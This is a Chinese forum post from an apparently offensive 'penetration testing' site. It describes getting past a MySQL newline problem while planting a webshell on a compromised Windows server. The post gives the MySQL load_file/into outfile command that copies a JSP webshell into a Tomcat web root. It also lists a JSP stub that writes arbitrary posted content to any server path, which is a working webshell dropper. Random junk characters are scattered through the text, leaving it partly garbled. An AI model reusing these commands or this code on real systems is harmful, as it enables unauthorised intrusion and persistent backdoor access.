中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
- X4 `6 k; o6 N: X/ i( `* [* S5 F1 `8 y. c3 A4 ?
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php2 `7 H# E& u6 O! e1 Y
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
' a. H4 ~6 W- b3 n5 b提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
5 G8 Y& }1 T3 W6 p, {# d2 E$ p3 f1 show variables like '%plugin%';: Q" F! }# K  k1 ~% ~
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功/ i# l! b) j) o4 ^) P$ @& S
创建自定义函数似乎被拦截,一直失败。8 A  c3 Y& E0 \& x7 L$ H
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限# v/ N' |1 X. j- x% O4 k1 u( f
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp& {' M+ T% ?, u# D
用mysql执行语句:4 |1 Z; @  H# X: G& m* I& i9 {. g
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
7 J4 d5 l' B1 x1 |! E9 K2 a; k2 复制代码
  U' s- E, e3 Z! V# x后成功。
) j# @2 N8 q' S" x0 J但是访问后得到如下提示:
3 j9 i7 \  r4 r​500页面
+ w' x% {, H, b5 a* Z
  z" V+ j- i) g; F/ D; j% ^0 O+ O( K# e
明显是MySQL的Win下版本自动添加转义符\n\r了
& ~) M1 ]0 E3 u$ ], _9 ]这样导致程序运行的悲剧。
3 I' a2 u9 t9 B4 c# m$ l! H7 B6 k. e从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
: Q" v0 c0 U( R3 D% l8 w2 i最后弄了这么个小脚本:
0 x/ b6 ^: \5 y3 }4 l! J5 t$ W01 <%@ page language="java" pageEncoding="gbk"%>2 u, a+ T# X! B5 e/ a1 O( ?
02 <jsp:directive.page import="java.io.File"/>
# T, h% n" G$ {& R9 f5 ~03 <jsp:directive.page import="java.io.OutputStream"/>3 p# Y% w7 I" V. n  l& f2 _7 q
04 <jsp:directive.page import="java.io.FileOutputStream"/>  y( Y6 }- ?& ~  R1 _
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>9 B: ~8 S# q) Y  x
06 error www.2cto.com
& {9 X! d4 g: w: O8 C07 <%}}if(i==0){%>
# d9 U; i& G1 k( [5 Q8 v08 ok9 G' J. N6 P$ M% `- ?2 E7 ^
09 <%}%>
; f. f# {4 G8 k10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
7 r9 y8 S% ]8 a; z就可以避免转义符让JSP的马儿运行500错误了。5 O4 i1 h6 ]/ B8 B





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2